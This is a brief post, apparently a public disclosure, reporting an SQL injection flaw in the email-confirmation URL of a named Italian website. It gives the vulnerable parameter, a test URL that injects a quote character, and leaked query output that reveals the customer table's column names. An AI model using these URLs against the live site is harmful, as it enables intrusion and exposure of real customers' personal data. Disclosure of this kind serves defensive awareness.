Sql Injection in the email confirmation url (there are several other): http://bandi.sefsas.it/v3/store/actmail.asp?ida=[reg id]&cod=[sqlinjection]&idc=[customer id] ex.: http://bandi.sefsas.it/v3/store/actmail.asp?ida=1005&cod='&idc=9999 archived: http://archive.is/kwwXf full query sample in output http://bandi.sefsas.it/v3/store/actmail.asp?ida=1005&cod=7913694013691841369169&idc=9999 SELECT AFFILIATE_ID, IDCUSTOMERTYPE, NAME, LASTNAME, EMAIL, CUSTOMERCOMPANY, ACTIVITY_ID, REGION_ID FROM CUSTOMERS WHERE IDCUSTOMER=9999 AND REMIP='' archived:http://archive.is/xDVeh